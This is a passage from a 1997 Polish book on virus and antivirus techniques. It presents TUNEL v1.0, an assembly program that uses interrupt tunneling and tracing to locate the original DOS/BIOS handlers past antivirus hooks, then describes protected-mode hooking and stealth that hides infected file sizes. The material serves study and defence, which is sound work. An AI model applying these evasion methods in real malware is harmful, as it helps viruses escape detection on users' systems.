Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę wykorzystuje IO.SYS przy starcie sy

stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:

; Trik 2F/13

MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX adres

; procedury obs│ugi (mo┐na pomin╣µ gdy┐ za

; chwilÛ i tak zostanie przywr¾cona w│a£ciwa

; procedura obs│ugi). ES:BX adres procedury, kt¾ra system

; bÛdzie ustawia│ jako procedurÛ obs│ugi przerwania nr 13h

; przy ewentualnym zawieszeniu systemu lub po wywo│aniu

; int 19h (tak┐e mo┐na pomin╣µ)

INT 2Fh ; wywo│aj funkcjÛ 13h

; po wywo│aniu ES:BX zwraca adres procedury, kt¾ra system

; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli

; zwykle bÛdzie to oryginalna procedura obs│ugi przerwania

13h MOV SEG_13,ES ; trzeba zapamiÛtaµ adres oryginalnej procedury obs│ugi

MOV OFS_13,BX ; intl3h, znajduj╣cej siÛ w ES:BX

MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX i ES:BX to warto£ci

; z poprzedniego wywo│ania funkcji (13/2F)

INT 2Fh ; wywo│aj funkcjÛ 13h


Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z wykorzystaniem różnych technik tunelingowych-


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; TUNEL v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program demonstruje uzycie kilku odmian tunelingu ;

; do znalezienia oryginalnych adresow przerwan ;

; - 13h (trik 2F/13, tryb krokowy) ;

; - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny) ;

; - 2Fh (tablica stalych adresow) ;

; ;

; Kompilacja : ;

; TASM TUNEL.ASM ;

; TLINK /t TUNEL.OBJ ;

; ;

;----------------------------------------------------------------------------;

;

NUL = 00h ; \

LF = 0Ah ; - stale potrzebne do deklaracji

CR = 0Dh ; / lancuchow napisowych


ON = 001h ; \ stale potrzebne do obslugi

OFF = 002h ; / przerwania 1


PROG segment ; segment kodu i danych


ORG 100h ; program jest typu COM


Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG


CodeStart: ; tu zaczyna sie program


lea si,TeCopyRight ; \ pokaz info o programie

Call Print ; /


Call GetOriginal13 ; pokaz oryginalny adres 13h


Call GetOriginal21 ; pokaz oryginalny adres 21h


Call GetOriginal2F ; pokaz oryginalny adres 21h


mov ax, 4C00h ; \ koncz program i powroc do DOSa

int 21h ; /


GetOriginal13 proc near ; procedura pobiera oryginalny adres

; Int 13h (na dwa sposoby) i wyswietla

; go

push si ; zachowaj zmieniany rejestr


lea si,TeGet13 ; \ pokaz info o przerwaniu 13h

Call Print ; /


Call Trik2F13 ; wez adres 13h

; metoda Trik 2F/13

Call ShowAddr ; pokaz adres 13h


Call Tracing13 ; wez adres 13h

; metoda tracingu

Call ShowAddr ; pokaz adres 13h


pop si ; przywroc zmieniany rejestr


ret ; powrot z procedury


GetOriginal13 endp


Trik2F13 proc near ; procedura pobiera oryginalny adres

; Int 13h wykorzystujac funkcje 13h

; przerwania 2Fh

; (wewnetrzna funkcja DOS)

push ds ; \

push es ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push dx ; /

push si ; /


lea si,TeTrik2F13 ; \ pokaz info o metodzie

Call Print ; / Trik 2F/13h


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ah,13h ; \

int 2Fh ; \

; \

mov cs:ShowSeg,es ; \ trik 2F/13

mov cs:ShowOFS,bx ; /

; /

mov ah,13h ; /

int 2Fh ; /


pop si ; \

pop dx ; \

pop bx ; \ przywroc zmieniane rejestry

pop ax ; /

pop es ; /

pop ds ; /


ret ; powrot z procedury


Trik2F13 endp


Tracing13 proc near ; procedura popbiera oryginalny

; adres Int 13h, wykorzystujac

; metode tracingu


push ds ; \

push es ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push cx ; /

push dx ; /

push si ; /


mov ShowError, offset TeTracingFail

; ewentualny komunikat o bledzie


lea si,TeTracing13 ; \ wyswietl info o metodzie

Call Print ; /


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ah,8 ; \ pobierz info o twardym dysku

mov dl,80h ; \ i zachowaj na pozniej wartosci

int 13h ; / rejestrow CX i DX; beda one

mov MagicNum1,cx ; / potrzebne do sprawdzenia czy

mov MagicNum2,dx ; / tracer jest juz w dobrym kodzie


mov ax,3513h ; \ wez adres przerwania Int 13h,

int 21h ; \ zeby mozna je bylo przetrace'owac,

mov CallFarSeg,es ; / trzeba je emulowac poprzez

mov CallFarOfs,bx ; / pushf/call dword ptr Ofs:Seg


mov TraceMode,OFF ; flaga potrzebna tracerowi


mov ax,3501h ; \ pobierz adres obslugi

int 21h ; \ przerwania krokowego Int 1

mov of1,bx ; \

mov se1,es ; \ i ustaw nowa procedure jego

; - obslugi, sprawdzajaca, czy

mov dx,offset Tracer_13 ; / funkcja zostala juz wykonana

mov ax,2501h ; / przez BIOS

int 21h ; /


pushf ; \ wlacz tryb krokowy

pop ax ; \ procesora

or ah,1 ; \

push ax ; /

popf ; /


mov dl,80h ; parametr funkcji 08/int 13h = HD0

mov ah,08h ; numer funkcji BIOS

pushf ; czesc emulacji Int 13

mov TraceMode,ON ; wlacz flage tracera

Call dword ptr cs:IntAsFarCall

; emuluj int 13

mov TraceMode,OFF ; wylacz flage tracera


pushf ; \ wylacz tryb krokowy

pop ax ; \ procesora

and ah,0FEH ; \

push ax ; /

popf ; /


lds dx,dword ptr cs:of1 ; \ przywroc stary adres przerwania

mov ax,2501h ; / krokowego Int 1

int 21h ; /


pop si ; \

pop dx ; \

pop cx ; \ przywroc zmieniane rejestry

pop bx ; /

pop ax ; /

pop es ; /

pop ds ; /


ret ; powrot z procedury


Tracing13 endp


Tracer_13 proc far


push bp ; zachowaj zmieniany rejestr


mov bp,sp ; BP wskazuje na stos

; [bp+00] BP

; [bp+02] IP

; [bp+04] CS

; [bp+06] FLAGS


push ax ; zachowaj zmieniany rejestr


cmp cs:TraceMode,ON ; czy wlaczony tracer ?

jne Tracer_13Exit ; jesli nie, to wyskocz z procedury


mov ax,[bp+04] ; AX=CS image

cmp ax,cs:ShowSeg ; czy segment kodu ten sam

je OldSeg13 ; tak=wyskocz procedury


; nie=zachowaj nowy adres seg:ofs

mov cs:ShowSeg,ax ; AX=CS image

mov ax,[bp+02] ; AX=IP image

mov cs:ShowOfs,ax


OldSeg13:

cmp cx,cs:MagicNum1 ; \

jne Tracer_13Exit ; \ czy funkcja sie juz wykonala ?

cmp dx,cs:MagicNum2 ; / nie=wyskocz z procedury

jne Tracer_13Exit ; /


mov cs:TraceMode,OFF ; tak=wylacz tracer, bo adres

; znaleziony

Tracer_13Exit: ; koniec przerwania Int 1


pop ax ; przywroc zmieniany rejestr


or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw

; bit TF dla nastepnego rozkazu

; wykonywanego po IRET


pop bp ; przywroc zmieniany rejestr


iret ; powrot z przerwania Int 1


Tracer_13 endp


GetOriginal21 proc near


push si ; zachowaj zmieniany rejestr


lea si,TeGet21 ; \ pokaz info o przerwaniu 21h

Call Print ; /


Call LookUpTable21 ; wez adres 21h

; tablica stalych adresow

Call ShowAddr ; pokaz adres 21h


Call Recursive21 ; wez adres 21h

; metoda tunelingu rekursywnego

Call ShowAddr ; pokaz adres 21h


Call Tracing21 ; wez adres 21h

; metoda tracingu (tryb krokowy)

Call ShowAddr ; pokaz adres 21h


pop si ; przywroc zmieniany rejeetr


ret ; powrot z procedury


GetOriginal21 endp


LookUpTable21 proc near


push es ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push si ; /


lea si,TeLookUpTable21 ; \ wyswietl info o metodzie

Call Print ; /


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ShowError, offset TeLookUpTableFailDOSVer

; ewentualny komunikat o bledzie


mov ah,30h ; \ wez wersje DOS

int 21h ; /

xchg al,ah ; ax=wersja DOS, ah=major,al=minor


mov bx,109Eh ; ofset dla DOS 5.0 - 6.22


cmp ax,0500h ; wersja musi byc wieksza od 5.00

jb LookUpTable21_Exit ; mniejsza=tuneling nie zadziala


cmp ax,0622h ; dla wersji wiekszej od 6.22

jbe DOSVerOk21 ; jest inny ofset


mov bx,0FB2h ; ofset dla DOS >6.22 (np. 7.0)


DOSVerOk21: ; ofset ustawiony

push bx ; zachowaj go na stosie


mov ah,52h ; \ pobierz do ES:BX adres struktury

int 21h ; / LL (lista list)


pop bx ; przywroc ze stosu ofset do skoku


mov ShowError, offset TeLookUpTableFailBadOfs

; ewentualny komunikat o bledzie


; czy pod ES;BX jest sekwencja

; 90 lub EB NOP \JMP $+3

; 90 lub 03 NOP /

; E8 xx xx CALL NEAR [IP+xxxx]

; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?

cmp word ptr es:[bx],9090h

je FirstCodeOK21 ; skocz, gdy sa 2 NOPy


cmp word ptr es:[bx],03EBh

jne LookUpTable21_Exit ; skocz, gdy JMP $+3


FirstCodeOK21:

cmp byte ptr es:[bx+2],0E8h ;

jne LookUpTable21_Exit ; skocz, gdy nie ma CALL xxxx


cmp word ptr es:[bx+5],0FF2Eh

jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far


cmp byte ptr es:[bx+7],02Eh ;

jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far


mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury

les bx,dword ptr es:[bx] ; /


mov ShowSeg,es ; przepisz segment i offset

mov ShowOfs,bx ; potrzebne do wyswietlenia adresu


LookUpTable21_Exit: ; skacz tu, gdy jakis blad


pop si

pop bx ; \

pop ax ; - przywroc zmieniane rejeetry

pop es ; /


ret ; powrot z procedury


LookUpTable21 endp


Recursive21 proc near


push es ; \

push ds ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push si ; /

push di ; /


lea si,TeRecursive21 ; \ wyswietl info o metodzie

Call Print ; /


mov ShowError, offset TeRecursive21Fail

; ewentualny komunikat o bledzie


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ah,52h ; \ pobierz do ES:BX adres struktury

int 21h ; / LL (lista list)

mov bx,es


xor ax,ax ; ustaw adres DS:SI na adres

mov ds,ax ; przerwania 21h wskazywanego

mov si,21h*4 ; przez tablice przerwa±

xchg ax,di ; DI=licznik sprawdzanych bajtow=0


Adres32:

lds si,ds:[si] ; pobierz adres


or bx,bx ; czy koniec szukania ?

jz WSegmencieDOS ; TAK - powrot DS:SI=adres



mov ax,ds ; \ czy jest to segment DOS ?

cmp ax,bx ; /


jne NastepnyBajt ; TAK - znaleziony adres

xor bx,bx ; BX=0 oznacza koniec szukania


NastepnyBajt:

lodsw ; wez 2 bajty bedace czescia

; aktualnej procedury

dec si ; sprawdzamy co bajt


cmp al,9Ah ; czy jest to CALL FAR PTR ?

je Adres32 ; TAK - wez kolejny adres


cmp al,0EAh ; czy jest to JMP FAR PTR ?

je Adres32 ; TAK - wez kolejny adres


cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?

jne NieJMP_DWORD ;


cmp byte ptr [si+1],al ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ?

jne NieJMP_DWORD ;


mov si,ds:[si+2] ; pobierz ofset do danych dla skoku

jmp short Adres32 ; TAK - wez kolejny adres


NieJMP_DWORD:


inc DI ; licznik sprawdzanych bajtow

and DI,4095 ; jezeli sprawdzono juz > 4095 bajtow,

je Recursive21_Exit ; to koncz, bo tuneling nie dziala


jmp NastepnyBajt ; wez kolejny bajt


WSegmencieDOS:

; adres zostal znaleziony (jest w DS:SI)


mov cs:ShowSeg,ds ; przepisz segment i offset

mov cs:ShowOfs,si ; potrzebne do wyswietlenia adresu


Recursive21_Exit: ; skacz tu, gdy jakis blad


pop di ; \

pop si ; \

pop bx ; \ przywroc zmieniane rejeetry

pop ax ; /

pop ds ; /

pop es ; /


ret ; powrot z procedury


Recursive21 endp


Tracing21 proc near ; procedura popbiera oryginalny

; adres Int 13h wykorzystujac

; metode tracingu


push ds ; \

push es ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push cx ; /

push dx ; /

push si ; /


mov ShowError, offset TeTracingFail

; ewentualny komunikat o bledzie


lea si,TeTracing21 ; \ wyswietl info o metodzie

Call Print ; /


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ah,62h ; \ pobierz info o aktualnym PSP

int 21h ; \ i zachowaj na pozniej te wartosc

mov MagicNum1,bx ; / (rejestr BX) bedzie ona

; / potrzebna, zeby sprawdzic, czy

; / tracer jest juz w dobrym kodzie

mov ax,3521h

int 21h ; \ wez adres przerwania Int 21h,

mov CallFarSeg,es ; \ zeby mozna je bylo przetrace'ow

mov CallFarOfs,bx ; / trzeba je emulowac poprzez

; / pushf/call dword ptr Ofs:Seg


mov TraceMode,OFF ; flaga potrzebna dla tracera


mov ax,3501h ; \ pobierz adres obslugi

int 21h ; \ przerwania krokowego Int 1

mov of1,bx ; \

mov se1,es ; \ i zmien je na nowa procedure

; - obslugi, sprawdzajaca czy

mov dx,offset Tracer_21 ; / funkcja zostala juz wykonana

mov ax,2501h ; / przez DOS

int 21h ; /


pushf ; \ wlacz tryb krokowy

pop ax ; \ procesora

or ah,1 ; \

push ax ; /

popf ; /


mov ah,62h ; numer funkcji DOS

pushf ; czesc emulacji Int 21

mov TraceMode,ON ; wlacz flage tracera

Call dword ptr cs:IntAsFarCall ; emuluj int 21

mov TraceMode,OFF ; wylacz flage tracera


pushf ; \ wylacz tryb krokowy

pop ax ; \ procesora

and ah,0FEH ; \

push ax ; /

popf ; /

; \ przywroc stary adres przerwania

lds dx,dword ptr cs:of1 ; / krokowego Int 1

mov ax,2501h ; /

int 21h


pop si ; \

pop dx ; \

pop cx ; \ przywroc zmieniane rejestry

pop bx ; /

pop ax ; /

pop es ; /

pop ds ; /


ret ; powrot z procedury


Tracing21 endp


Tracer_21 proc far


push bp ; zachowaj zmieniany rejestr


mov bp,sp ; BP wskazuje na stos

; [bp+00] BP

; [bp+02] IP

; [bp+04] CS

; [bp+06] FLAGS


push ax ; zachowaj zmieniany rejestr


cmp cs:TraceMode,ON ; czy wlaczony tracer ?

jne Tracer_21Exit ; jesli nie, to wyskocz z procedury


mov ax,[bp+04] ; AX=CS instrukcji

cmp ax,cs:ShowSeg ; czy segment kodu ten sam

je OldSeg21 ; tak=wyskocz procedury


mov cs:ShowSeg,ax ; nie=zachowaj nowy adres seg:ofs

mov ax,[bp+02] ; AX=CS instrukcji

mov cs:ShowOfs,ax ; AX=IP instrukcji


OldSeg21:

cmp bx,cs:MagicNum1 ; \

jne Tracer_21Exit ; \ czy funkcja juz sie wykonala ?

; / nie=wyskocz z procedury

mov cs:TraceMode,OFF ; / tak=wylacz tracer, bo adres

; / znaleziony


Tracer_21Exit: ; koniec przerwania Int 1



pop ax ; przywroc zmieniany rejestr


or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw

; bit TF dla nastepnego rozkazu

; wykonywanego po IRET


pop bp ; przywroc zmieniany rejestr


iret ; powrot z przerwania Int 1


Tracer_21 endp


GetOriginal2F proc near


push si ; zachowaj zmieniany rejestr


lea si,TeGet2F ; \ pokaz info o przerwaniu 2Fh

Call Print ; /


Call LookUpTable2F ; wez adres 2Fh

; tablica stalych adresow

Call ShowAddr ; pokaz adres 21h


pop si ; przywroc zmieniany rejestr


ret ; powrot z procedury


GetOriginal2F endp


LookUpTable2F proc near


push es ; \

push ax ; \ zachowaj zmieniane rejestry

push bx ; /

push si ; /


lea si,TeLookUpTable2F ; \ wyswietl info o metodzie

Call Print ; /


xor ax,ax ; \ zeruj zmienne pomocnicze

mov ShowSeg,ax ; /

mov ShowOfs,ax ; /


mov ShowError, offset TeLookUpTableFailDOSVer

; ewentualny komunikat o bledzie


mov ah,30h ; \ wez wersje DOS

int 21h ; /

xchg al,ah ; ax=wersja DOS, ah=major,al=minor


mov bx,10C6h ; ofset dla DOS 5.0 - 6.22


cmp ax,0500h ; wersja musi byc wieksza od 5.00

jb LookUpTable2F_Exit ; mniejsza=tuneling nie zadziala


cmp ax,0622h ; dla wersji wiekszej od 6.22

jbe DOSVerOk2F ; jest inny ofset


mov bx,0FDAh ; ofset dla DOS >6.22 (np. 7.0)


DOSVerOk2F: ; ofset ustawiony

push bx ; zachowaj go na stosie


mov ah,52h ; \ pobierz do ES:BX adres struktury

int 21h ; / LL (lista list)


pop bx ; przywroc ze stosu ofset do skoku


mov ShowError, offset TeLookUpTableFailBadOfs

; ewentualny komunikat o bledzie


; czy pod ES;BX jest sekwencja

; 90 lub EB NOP \JMP $+3

; 90 lub 03 NOP /

; E8 xx xx CALL NEAR [IP+xxxx]

; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?

cmp word ptr es:[bx],9090h

je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy


cmp word ptr es:[bx],03EBh

jne LookUpTable2F_Exit ; skocz, gdy JMP $+3


FirstCodeOK2F:

cmp byte ptr es:[bx+2],0E8h ;

jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL xxxx


cmp word ptr es:[bx+5],0FF2Eh

jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far


cmp byte ptr es:[bx+7],02Eh ;

jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far


mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury

les bx,dword ptr es:[bx] ; /


mov ShowSeg,es ; przepisz segment i ofset

mov ShowOfs,bx ; potrzebne do wyswietlenia adresu


LookUpTable2F_Exit: ; skacz tu, gdy jakis blad


pop si

pop bx ; \

pop ax ; - przywroc zmieniane rejestry

pop es ; /


ret ; powrot z procedury


LookUpTable2F endp



ShowAddr proc near ; wyswietl adres w postaci

; seg:ofs heksalnie na podstawie

; zawartosci zmiennych

; ShowSeg i ShowOfs


push ax ; \ zachowaj zmieniany rejestr

push si ; /


mov si,ShowError ; \ wez adres komunikatu o ewentualnym

; / bledzie

mov ax,ShowSeg ; czy seg i ofs sa wyzerowane,

or ax,ShowOfs ; tzn czy nie znaleziono adresu ?

jz ShowAddrError ; tak=nie znaleziono adresu


mov ax,ShowSeg ; \ wyswietl segment

Call PrintHexDW ; /


mov al,':' ; \ wyswietl dwukropek

Call PrintChar ; /


mov ax,ShowOfs ; \ wyswietl ofset

Call PrintHexDW ; /


lea si,TeCRLF ; \ wyswietl CR,LF,

ShowAddrError: ; - czyli przejdz do nastepnego wiersza

Call Print ; / lub komunikat o bledzie


pop si ; \

pop ax ; / przywroc zmieniany rejestr


ret ; powrot z procedury


ShowAddr endp


PrintHexDW proc near ; procedura wyswietla heksalnie

; liczbe zawarta w AX


push ax ; \ zachowaj zmieniane rejestry

push bx ; /


lea bx,HexChars ; bx wskazuje na tablice konwersji

; liczb heksadecymalnych 0..F


Call PrintHex ; wyswietl liczbe w AX


pop bx ; \ przywroc zmieniane rejestry

pop ax ; /


ret ; powrot z procedury


PrintHexDW endp


PrintHex proc near


push ax ; zachowaj mlodsza czesc adresu


mov al,ah ; AL=starsza czesc adresu

Call PrintHexDB ; wyswietl starsza czesc adresu


pop ax ; przywroc mlodsza czesc adresu


PrintHexDB: ; wyswietl czesc adresu z al


mov ah,al ; zachowaj na chwile te czesc


shr al,1 ; \ wyswietl starsza czesc bajtu

shr al,1 ; \ al przesuniete o 4 w prawo

shr al,1 ; \

shr al,1 ; /

xlat byte ptr cs:[bx] ; / al=[bx+al]

Call PrintChar ; / wyswietl znak w AL


mov al,ah ; \ wyswietl mlodsza czesc bajtu

and al,15 ; \ al zamaskowane z 00001111b

xlat byte ptr cs:[bx] ; / al=[bx+al]

Call PrintChar ; / wyswietl znak w AL


ret ; powrot z procedury

PrintHex endp


Print proc near ; procedura wyswietla tekst ASCIIZ

; spod adresu CS:SI


push ax ; \ zachowaj zmieniane rejestry

push si ; /


GetNextChar:

lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem

jz PrintExit ; tak=koniec napisu; wyjdz z petli

Call PrintChar ; nie=wyswietl znak w AL

;

jmp short GetNextChar ; i wez nastepny znak


PrintExit:

pop si ; \ przywroc zmieniane rejestry

pop ax ; /


ret ; powrot z procedury


Print endp


PrintChar proc near ; procedura wyswietla znak w AL


push ax ; zachowaj zmieniany rejestr


mov ah,0Eh ; funkcja BIOS

int 10h ; wyswietl znak w AL


pop ax ; przywroc zmieniany rejestr


ret ; powrot z procedury


PrintChar endp



TeCopyRight:

db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL


TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '

db CR,LF,NUL


TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '

db CR,LF,NUL

TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '

TeCRLF db CR,LF,NUL


TeTrik2F13 db ' _ trik Int 2Fh/13h := ',NUL

TeTracing13 db ' _ tracing 13h := ',NUL


TeLookUpTable21 db ' _ tablica stalych adresow 21h := ',NUL

TeRecursive21 db ' _ tuneling rekursywny 21h := ',NUL

TeTracing21 db ' _ tracing 21h := ',NUL


TeLookUpTable2F db ' _ tablica stalych adresow 2Fh := ',NUL


TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL

TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL

TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL

TeRecursive21Fail db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL


HexChars db '0123456789ABCDEF'


ShowSeg dw ? ; zmienne pomocnicze do zachowywania

ShowOfs dw ? ; znalezionego adresu


ShowError dw ? ; zmienna dla ewentualnych bledow


of1 dw ? ; zmienne potrzebne do zachowywania

se1 dw ? ; adresu Int 1


IntAsFarCall label dword ; adres dalekiej procedury sluzacej do

CallFarOfs dw ? ; emulacji instrukcji INT

CallFarSeg dw ?


TraceMode db ? ; flaga ON=wlaczony/OFF= wlaczony tracer


MagicNum1 dw ? ; zmienne pomocnicze do przechowywania

MagicNum2 dw ? ; wartosci potrzebnych do sprawdzenia czy

; jestesmy juz we wlasciwym kodzie DOS/BIOS


PROG ends ; koniec segmentu kodu i danych

end CodeStart ; koniec programu, pierwsza instrukcja

; pod etykieta CodeStart



6.5. Wykorzystanie trybu chronionego

Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do pamięci powyżej 1MB.

W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode Interface).

Do przejmowania przerwań służą funkcje:

> 0200h - odczytanie wektora przerwań trybu rzeczywistego;

> 0201h - zapisanie wektora przerwań trybu rzeczywistego;

> 0202h - odczytanie adresu procedury obsługi wyjątku;

> 0203h - ustawienie adresu procedury obsługi wyjątku;

> 0204h - odczytanie wektora przerwań trybu wirtualnego;

> 0205h - zapisanie wektora przerwań trybu wirtualnego;

Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji (1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.


6.6. Włączanie się jako program obsługi urządzenia

Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP


ROZDZIAŁ 7


Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny.

Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich.


7.1. Technika stealth

Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.

W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.

Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej.


7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)

Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek.

Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja.

W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury:

> pozycji katalogu (funkcje 11/12);

> DTA (funkcje 4E/4F);

> FindData (funkcje 714E/714F).

Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.


7.1.1.1. Polecenie DIR wywoływane z poziomu DOS

Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block},

podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach.

Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku.

Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).

Struktura bloku opisu pliku FCB (zwykłego)

Adres

Zawartość

00

numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB

01-08

8 bajtów nazwy pliku

09-0B

3 bajty rozszerzenia pliku

0C-0D

numer aktualnego bloku

0E-0F

długość logicznego rekordu

10-13

długość pliku

14-15

data ostatniej modyfikacji pliku

16-17

czas ostatniej modyfikacji pliku

18

ilość SFT dla pliku

19

atrybuty, znaczenie bitów

bity 7-6

00 - SHARE.EXE niezaładowany, plik dyskowy

01 - SHARE.EXE niezaładowany, sterownik

10 - SHARE.EXE załadowany, plik zdalny

11 - SHARE.EXE załadowany, plik dyskowy

lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów

1A-1F

zawartość zależna od pola 19, bity 7-6

wartość 11

